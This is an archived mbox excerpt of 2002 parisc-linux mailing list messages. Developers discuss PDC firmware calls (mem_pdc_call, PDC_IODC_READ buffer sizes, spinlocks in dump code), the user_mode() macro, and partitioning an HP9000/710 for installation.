Content-Type: multipart/mixed;
 boundary="------------D65508782C25C4AEBFAFAF66"
X-Trace: ger.gmane.org 1416621466 9959 80.91.229.3 (22 Nov 2014 01:57:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:46 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 04:59:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C723B485C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 04:59:03 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 0E0285DE
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 12:59:02 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id MAA20558 for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Jul 2002 12:57:45 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15322

This is a multi-part message in MIME format.
--------------D65508782C25C4AEBFAFAF66
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm fighting with pdc calls since two weeks now. And I think I've nearly succeded to understand how it works. But now I have a problem. I've retrieve the modules hpa, so before using it, I need to
retrieve the spa and io_entry code in order to use it. For doing it I've wrote this, it is nearly the same thing than the function pdc_iodc_read():


static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));

/* Get spa for this module */
hpa=dump_parms->hpa;
index=0;
iodc_data_size=32;

ret = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa, index, __pa(pdc_result2), iodc_data_size);
convert_to_wide(pdc_result);
bytecnt = pdc_result[0];
memcpy(dump_iodc_data, pdc_result2, iodc_data_size);

The result is always "ret = -3" -> cannot complete call without error.
Do I forget anything (probably). Do I have to prevent interruption ? Do I have to modify PSW ?

	thanks.
 
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------D65508782C25C4AEBFAFAF66
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------D65508782C25C4AEBFAFAF66--




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] user_mode() right?
Date: Fri, 5 Jul 2002 12:42:40 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020705124240.Y27706@parcelfarce.linux.theplanet.co.uk>
References: <20020705075529.A2C604847@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621466 9966 80.91.229.3 (22 Nov 2014 01:57:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 05:42:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09D314865
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 05:42:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17QRU0-0001KM-00; Fri, 05 Jul 2002 12:42:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020705075529.A2C604847@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Jul 05, 2002 at 01:55:29AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15323

On Fri, Jul 05, 2002 at 01:55:29AM -0600, Grant Grundler wrote:
> While trying to understand this, I ran across the following comment:
> 
> /* XXX should we use iaoq[1] or iaoq[0] ? */
> #define user_mode(regs)                 (((regs)->iaoq[0] &  3) ? 1 : 0)
> 
> Is iaoq[0] correct?

I'd've thought so.  iaoq[0] is `what instruction are we executing' and
iaoq[1] is `where are we going next'.  the only time they're going to
be different is when we're about to enter the kernel or about to return
to userspace.  in either case, it's nothing more than an out-by-one
error at worst.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mem_pdc_call: how using it exactly.
Date: Fri, 5 Jul 2002 12:45:38 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20020705124538.Z27706@parcelfarce.linux.theplanet.co.uk>
References: <3D257AAB.D04CD0DC@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621466 9974 80.91.229.3 (22 Nov 2014 01:57:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 05:45:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B70534865
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 05:45:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17QRWs-0001O7-00; Fri, 05 Jul 2002 12:45:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D257AAB.D04CD0DC@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Fri, Jul 05, 2002 at 12:53:31PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15324

On Fri, Jul 05, 2002 at 12:53:31PM +0200, Bruno Vidal wrote:
> static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
> static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));
> 
> /* Get spa for this module */
> hpa=dump_parms->hpa;
> index=0;
> iodc_data_size=32;
> 
> ret = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa, index, __pa(pdc_result2), iodc_data_size);
> convert_to_wide(pdc_result);
> bytecnt = pdc_result[0];
> memcpy(dump_iodc_data, pdc_result2, iodc_data_size);
> 
> The result is always "ret = -3" -> cannot complete call without error.
> Do I forget anything (probably). Do I have to prevent interruption ? Do I have to modify PSW ?

more prosaically, i think iodc_data_size should be 32 * sizeof(long),
ie size in bytes, not number of longs.

but why code this up yourself rather than use pdc_iodc_read?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mem_pdc_call: how using it exactly.
Date: Fri, 05 Jul 2002 14:03:45 +0200
Organization: H.P
Lines: 65
Approved: news@gmane.org
Message-ID: <3D258B21.EC28E2AF@admin.france.hp.com>
References: <3D257AAB.D04CD0DC@admin.france.hp.com> <20020705124538.Z27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------143EC1816D4C96D0C148E1A8"
X-Trace: ger.gmane.org 1416621467 9980 80.91.229.3 (22 Nov 2014 01:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:47 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 06:09:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EE2B4869
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 06:09:17 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id D124F6BD
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 14:09:15 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id OAA13999 for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Jul 2002 14:07:59 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15325

This is a multi-part message in MIME format.
--------------143EC1816D4C96D0C148E1A8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

About the iodc_data_size, in the documentation it is describe as: "count bytes in length".
For example in drivers/scsi/zalon7xx.c:
status = pdc_iodc_read(&pdc_result, hpa, 0, &iodc_data, 32 ); 
-> it is 32.
So If I want the 32 first bytes, it should be 32.
Now why doing it myself, because I don't want to use spinlock while dumping, and pdc_iodc_read
use spinlock. Perhaps, it is not a good solution, what do you think about using spinlock while
dumping ?

Matthew Wilcox wrote:
> 
> On Fri, Jul 05, 2002 at 12:53:31PM +0200, Bruno Vidal wrote:
> > static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
> > static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));
> >
> > /* Get spa for this module */
> > hpa=dump_parms->hpa;
> > index=0;
> > iodc_data_size=32;
> >
> > ret = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa, index, __pa(pdc_result2), iodc_data_size);
> > convert_to_wide(pdc_result);
> > bytecnt = pdc_result[0];
> > memcpy(dump_iodc_data, pdc_result2, iodc_data_size);
> >
> > The result is always "ret = -3" -> cannot complete call without error.
> > Do I forget anything (probably). Do I have to prevent interruption ? Do I have to modify PSW ?
> 
> more prosaically, i think iodc_data_size should be 32 * sizeof(long),
> ie size in bytes, not number of longs.
> 
> but why code this up yourself rather than use pdc_iodc_read?
> 
> --
> Revolutions do not require corporate support.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------143EC1816D4C96D0C148E1A8
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------143EC1816D4C96D0C148E1A8--




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ste <stemelchior@inwind.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP9000/710
Date: Fri, 5 Jul 2002 14:12:21 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <02070514115600.00684__9812.64560618929$1416621467$gmane$org@www>
References: <200207031737.TAA09556@mailimailo.univ-rennes1.fr> <02070410352000.0
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621467 9983 80.91.229.3 (22 Nov 2014 01:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:47 +0000 (UTC)
Cc: <dlorin@univ-rennes1.fr>,
	"Erling A. Jacobsen" <linuxcub@email.dk>,
	Jan Heumann <jheumann@fonts.de>,
	Paolo Ambrosio <blues@iglu.cc.uniud.it>,
	Roberto Checcozzo <r.checcozzo@libero.it>,
	<debian-hppa@lists.debian.org>, <parisc-linux@lists.parisc-linux.org>
To: Bengen <bengen@vdst-ka.inka.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 06:21:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.it (mail-1.tiscalinet.it [195.130.225.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18A384869
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 06:21:06 -0600 (MDT)
Original-Received: from www (62.10.17.188) by mail.tiscali.it (6.5.026)
        id 3D1D5B140038A26E; Fri, 5 Jul 2002 14:10:54 +0200
X-Mailer: KMail [version 1.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15326

Well, the first error I made (why didn't I read the manual, always RTFM, i.e. 
ReadThatF**ingManual) was that I didn't partitioned the HDD in the right 
ways: so I did the second time I tried to install the Workstation. Imean you 
must divide the HDD in at least 3 partition (for istance, /dev/sda1 for 
primary where to put OS, /dev/sda5 swap and finally /dev/sda2 where you MUST 
set the type to "F0", the PALO's dedicated partition).
When I reboot the system after the first try I red on the monitor: "Hard 
booted" and it hanged. When I correctly partitioned the HDD, install the base 
and rebooted the system, it finally booted up and everything went well!
Did you do the correct steps to partition the HDD, set the partition types 
and so on?
Then did you skip the keyboard configuration during the base installation, as 
mentioned in the previous mals on this ML?
Ste

> I went to the Linux Porters' booth at LinuxTag 2002 in Karlsruhe with
> a 710, but we were not able to install the system. The installer
> booted fine, but it hung when it tried to access the hard drive.
>
> -Hilko



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mem_pdc_call: how using it exactly.
Date: Fri, 05 Jul 2002 17:32:39 +0200
Organization: H.P
Lines: 36
Approved: news@gmane.org
Message-ID: <3D25BC17.17C695FD@admin.france.hp.com>
References: <3D257AAB.D04CD0DC@admin.france.hp.com> <20020705124538.Z27706@parcelfarce.linux.theplanet.co.uk> <3D258B21.EC28E2AF@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B0B03BC0A935F46917116A57"
X-Trace: ger.gmane.org 1416621467 9986 80.91.229.3 (22 Nov 2014 01:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:47 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 09:38:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 302CD4844
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 09:38:11 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id EEA7F12CF
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 17:38:09 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA17772 for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Jul 2002 17:36:53 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15327

This is a multi-part message in MIME format.
--------------B0B03BC0A935F46917116A57
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've just read that PDC call need some specific PSW state.
But I didnt' find any function to manipulate PSW (easely).
Does exit any function to change some bits in the PSW ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------B0B03BC0A935F46917116A57
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B0B03BC0A935F46917116A57--




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mem_pdc_call: how using it exactly.
Date: Fri, 05 Jul 2002 11:17:50 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20020705171751.2115B485D@dsl2.external.hp.com>
References: <3D257AAB.D04CD0DC@admin.france.hp.com> <20020705124538.Z27706@parcelfarce.linux.theplanet.co.uk>  <3D258B21.EC28E2AF@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621468 9988 80.91.229.3 (22 Nov 2014 01:57:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:48 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 11:17:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2115B485D; Fri,  5 Jul 2002 11:17:51 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Fri, 05 Jul 2002 14:03:45 +0200." <3D258B21.EC28E2AF@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15328

Bruno Vidal wrote:
> About the iodc_data_size, in the documentation it is describe as: "count byte
>   s in length".

Yes.  Gecko ERS says ARG6 is "size of memaddr in bytes".

> For example in drivers/scsi/zalon7xx.c:
> status = pdc_iodc_read(&pdc_result, hpa, 0, &iodc_data, 32 ); 
> -> it is 32.
> So If I want the 32 first bytes, it should be 32.

        status = pdc_iodc_read(&pdc_result, hpa, 0, &iodc_data, 32 );
	if (status == PDC_RET_OK) {
		clock = (int) pdc_result[16];
	} else {
	....

This looks wrong.  pdc_result[16] probably contains garbage.

> Now why doing it myself, because I don't want to use spinlock while
> dumping, and pdc_iodc_read use spinlock. Perhaps, it is not a good
> solution, what do you think about using spinlock while dumping ?

I would rather see the dump code avoid the spinlock and
replicate the pdc calls. ie assume PDC calls can crash the
system too. But if this is a PITA, re-initialize the lock and use the
regular calls.

grant



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
